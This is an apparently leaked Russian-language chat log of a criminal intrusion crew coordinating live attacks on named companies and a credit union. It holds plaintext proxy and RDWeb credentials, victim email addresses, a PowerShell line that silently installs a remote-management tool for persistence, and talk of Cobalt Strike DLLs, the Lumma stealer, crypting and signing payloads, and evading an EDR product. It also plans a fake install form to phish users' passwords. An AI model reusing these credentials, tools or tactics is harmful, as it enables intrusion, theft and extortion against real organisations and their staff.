давай

??

еще один комплект сейчас будет

update.zip

у бурито есть dll

как стартовать ее

update.zip

Dll build with exported function MainFunc(). Not possible with persistance.

какая там точка для входа

123

123

burrito: ???

пока ошибка

делаю

попробуй левел

109.234.39.110:40696:cs7hVRaI:JIWQoOuu

сокс поднялся

ты запустил сейчас ?

firstwestcu.ca

ты в cmd ?

ipconfig all

введи

ipconfig /all

image.png

да все он уже у нас

нам только dc узнать и все

dc надо узнать

через cmd

давай я подключусь

впску отроешь мне

```

++

у наха ?

тогда от бурито положи длл в комплект

давай

все скопируй и мне все сюда

зашел ?

route print

вот это все введи

и мне скинь

изображение.png

дальше

пока хватит

вижу

все файлы заупстил ?

SRVVSSKL

эти ведь креды ?

да

next

SRVVSSKL

вот такие креды мы создаем сейчас

это помогает подключится в лдап шелл

чего ?

какие креды создает ехе твой ?

> <@usernameugway:matrix.bestflowers247.online> Server IP address: 95.164.2.15

что там она ?

update.zip

update.zip

вот езе новый комплект

вот еще новый комплект

* вот еще новый комплект

> <@usernameugway:matrix.bestflowers247.online> sent an image.

открой мне

я сам сниму все что нужно

там с dc что то напутано

> <@usernamett:matrix.bestflowers247.online> ```

скоро

блин

дак я не вижу dc

да

хорошо

удали ее с пака

и не подливай тогда

image.png

на dll ругается

при распаковке

> <@usernameugway:matrix.bestflowers247.online> sent an image.

она нужна

поставил Левел ?

давай

> <@usernameugway:matrix.bestflowers247.online> соксы отвалиться могут если она офнула комп например?

> <@usernameugway:matrix.bestflowers247.online> и поняться если вкл

```

отлично

это у которой ?

firstwestcu.ca

?

смотри

да

там не надо больше ничего запускать

там у них фалком

это жесткая хуйня

там нужно просто ссесию сделать

я сам все сделаю ё

там есть схема работы с ним

ничего больше там не запускай

++

alessandra.balsano@catalent.com говорю

update1.exe

сейчас сетки с фалконом пошли

лучше ссеию просто поднимай и сикдывай впску куда конектить

мы там сами

там просто эти все ехе паелов будет заупскать

тап по другому действтовать нужно

да

канада хорошая страна

++

нету пока ничего конкретного в работе, ждем пока тачки включат , возможно отошли

я жду пока соксы придут

тачки может выключили

там фалкон был на трех сетках

там нельзя зхапускать ничего кроме ехе

по этому лучше мне сразу ссесию давать

я буду точно знать что можно а что нельзя

так иначе мы проебем таргеты (

если я отшел покушать и не отвечаю

а кто то вышел в ссесию

то запускай

а если я тут то не нужно

мы решим когда туда зайдем что можно а что нет

+ - мы знаем как ведут себя ав или edr

как обойти

Снимок экрана 2024-06-17 в 21.37.42.png

image.png

дда

деф

MainFunc

++

переделаешь ?

han а твою подписать не смогли сертом

4.7z

dll

exe

dll кобу не подписывать

> <@muaddib6:matrix.org> Какие длл и ехе переделать под подпись?

и стиллер

да

луму подписали

jimmy.thomas@morganwhite.com говорю

только dll

что то он как то на отъебись позвонил

давай кому то другому дадим этот список перезвоним

не уверен в его работе сейчас

да, жду админа. сказал к ночи отдаст

отдаю ему ?

dll я выше скидывал от ghostsocks

посмотри

++

да, жду админа. сказал к ночи отдаст

это его слова

https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)

посмотрите как будет время как вытащить этот код при запуске

и тогда мы будем на коне

сейчас прогер посмотрит

давай

завтра жду тебя

++

> <@usernameugway:matrix.bestflowers247.online> https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)

++

\\38.132.111.29\test\put.exe короч вот тут лежит путти файлик

поднял я

собери

как придешь

пускай скинет все что можно

у меня тут рядом сидит все видит что я пишу

ок

нет

я для другого

?

++

удали его хотел сказать )

но ладно не надо

в 11

я думаю такую же пока , я буду звать тех кто не придет

еще оживет

один точно

ага

во

добавляет

пришел

сессия и все

ничего пока не зщаупскаем

я зайду и сам все оценю

что бы не проебать

++

northernsafety.com - tree по ним

завтра уже

crobert@firstwestcu.ca говорю

++

https://github.com/kiwids0220/deviceCode2WinHello

слился

нет

все спать

на сегодня хватит

поработаем

есть силы еще

страховка 300м

++

```

```

image.png

++

hpecds.com

treee

cpg.org

уберите

++

сделали 20 серверов только что, осталось ОС поставить, завтра к обеду обещает. долго будет ставиться, операционка руками устанавливается

93.183.94.217:42350:9Cy5Yiyd:8Qk3UJm5

```

да все крайний список пускай

выжимаем из него все

как это попался ?

на верочку проверим

```

image.png

```

да

конечно

нереально

надо что бы они вводили в форме

ща покажу

Screenshot_20.png

Screenshot_20.png

блин вот такую выдачу надо сделать и что бы он креды вводил типа для установки а мы бы сами перехватывали

> <@usernamegg:matrix.bestflowers247.online> sent an image.

оттестим

правда мы сейчас сами создаем креды

больше и не надо ничего

сокс бот и креды которые мы делаем ехе

уже можем работать с сеткой

главное запросить то что надо

доброй ночи

норм

нет

91.142.73.198:35818:cs7hVRaI:JIWQoOuu

отлично

доброе

___

93.183.94.217:40385:9Cy5Yiyd:8Qk3UJm5

в сети

это у JJ

с какой там страны тачка ?

с молдовы пришел сокс

нет

уже висит норм

подключится не получилось ?

дай второй

посмотрим

WG_VALID.txt

SOPHOS_VALID.txt

SONIC_VALID.txt

PALO_VALID.txt

FORTI_VALID.txt

CISCO_VALID_ITEMS.txt

AUTH_VALID.txt

VALID_BRUT_SONIC.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_CISCO.txt

отдал на крипт нагрузку ?

в пак ее засунем вместе с остальными билдами ?

как закреп какой то

сейчас

пускай напишет брейву

обсудим с ним условия немца

его тоже надо брать

да

уже

написал

блин креды бы еще как то выдирать у них

пришло два сокса

похоже отработало

ask-chemicals.com

сдохли

да

++

сокс какой потестить твой ?

что бы на крипт отдать

и панель какая

Ghocks_ulan-2.zip

LummaC2 default 17.06.2024 03_40_12.zip

LummaC2 default 17.06.2024 03_44_00.zip

LummaC2 default 17.06.2024 03_40_12-2.zip

LummaC2 default 17.06.2024 03_40_13.zip

Пароль от архива с билдом: 667d00c9

> <@usernamegg:matrix.bestflowers247.online> sent a file.

нету

сейчас будем заускать три сокс бота

странно почему так

> <@usernameugway:matrix.bestflowers247.online> neznayka [call up] 🇺🇸🇩🇪🇨🇳, [18.06.2024 11:58]

да

делаю

чищу

скоро собреу

payload.bin

ехе и dll

> <@usernameugway:matrix.bestflowers247.online> в целом концепт легит софта как закрепа - очень хорош

> <@usernameugway:matrix.bestflowers247.online> только админские креды мешают.. их мало кто знает

++

ок

я тут буду

я уже потренил

сейчас

что бы rmm запускался ?

можно сделать ехе

`$env:LEVEL_API_KEY = "RuifWW5A8gatcB2Kyq7L64W2"; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $tempFile = Join-Path ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-WebRequest -Uri "https://downloads.level.io/install_windows.exe" -OutFile $tempFile; & $tempFile;`

можно сделать ехе с таким кодом ?

что бы там rmm ставился

не через повершелл открывать и ставить а прост о кликом

что бы установился

хотя там есть

хотя там есть

в комплекте

не надо

там есть ехе

Снимок экрана 2024-06-18 в 12.28.50.png

его можно закидывать

сейчас попробую

image.png

level-windows-amd64.exe

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernameugway:matrix.bestflowers247.online> там техника такая

сейчас запущу

image.png

ошибка

сейчас заливаю скрин

image.png

> <@usernameugway:matrix.bestflowers247.online> там техника такая

image.png

а в c:/user/public не положить без кред

cmd не открывает

image.png

powershell

открывает

cmd нет

как он батником открыл это окно

не понимаю

надо еще один доступ и туда подлить

https://71.167.140.235/RDWeb/Pages/en-US/login.aspx sberber Spring2024! fasny\sberber

зайди проверь пока

я на другом пока проверю

я даль запускал

все открыто там

зайди

запусти

рандом

это сокс бот

это не коба , только у нее GetModuleProp

image.png

> <@usernameyy:matrix.bestflowers247.online> заходи

> <@usernamegg:matrix.bestflowers247.online> sent an image.

ввел его креды

image.png

я звонки стопнул сейчас из-за того что у нас софта норм нету

да

а где новый ?

давай новый загружу

> <@usernameyy:matrix.bestflowers247.online> ```

> <@usernameyy:matrix.bestflowers247.online> sent a file.

image.png

креды не просит

пишет что надо но не просит

image.png

а куда лучше всего его положить что быстро все было ?

вышло

сейчас ввожу

и куда они прилетают ?

image.png

image.png

а почему праивльный юзер не подтянулся ?

fasny\sberber

Снимок экрана 2024-06-18 в 13.12.08.png

++

ок

хорошей трени

как это

\38.132.111.29\test\put.exe короч вот тут лежит путти файлик

blood

++

> <@usernameyy:matrix.bestflowers247.online> здесь

не создал

даже когда приавльные креды вввл

image.png

```

blood

image.png

лежит там путти

\\38.132.111.29\test вот так ввожу в проподнике

ima_6ce7727.jpeg

сейчас

на другой вот так

image.png

ебать он тут всех подтянул

image.png

image.png

а эхтих всех ребят что выдирает тоже можнро класть в тот фаил ?

я с администратором ввожу ?

как там искать себя ?

ну пускай ники они для брута помогут

сейчас заменю

а ты сможешь всех этих юзеров класть в %temp%

пото когда создало фаил и все запустилось

вот такое вылезло

image.png

image.png

привет

да да

именно

https://50.197.121.152/RDWeb/Pages/en-US/login.aspx tstevens June2021! ASI-MI\tstevens

da

я же подключаюсь

это у тебя что то не так

когда будет крипт соксов ?

скоро уже

сейчас будет один интресный фаил при установки котрого мы заберем у нешего креды

image.png

при запуске одного .bat будет просить что бы он ввел свои данные , тебе нужно будет его попросить что бы он ввел пароль для установки программы , тем самы мы получим его креденшел.

> <@lincoln:artronica.rocks> это кто ?

просто там когда мы будем устанавливать ему софт

что бы забрать у него креды мы придумали форму

что бы он ее ввел

он просто введет свой пасс

и прокрама установится мы дальше сами

да именно так

доп вариант

ок

так

смотри

image.png

так же через батник нужно будет стартовать основной фаил он подтянет такую форму как ты видел на скрине

как только он вводит креды

сразу запускаешь ехе соксов их будет 2 шт от разных исполнителей

затем на его тачке прописываешь путь до папки

%temp%/qwertyuio.txt

он сюда все выдерет

нужен уже срочно качественно чистый фаил

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

вот эти соксы

сейчас покажу

захожу на сетку что бы тебе скринами нарисовать ъ

нет

там сокс бот не готов

ща

давай пока запустим звонки со вчерашним сокс ботом

ну можем запустить

но будет один пока сокс

все работает

проверяй в чем дело у тебя

blood

второй как закриптуют подольем

собери пока пак

я оттестирую ща нак сетке прямо

тут ?

сокс

фаил который креды создает

для удачи

и новый батник

люму не надо

форму которая создает креды для фейковой тачки

сокс бота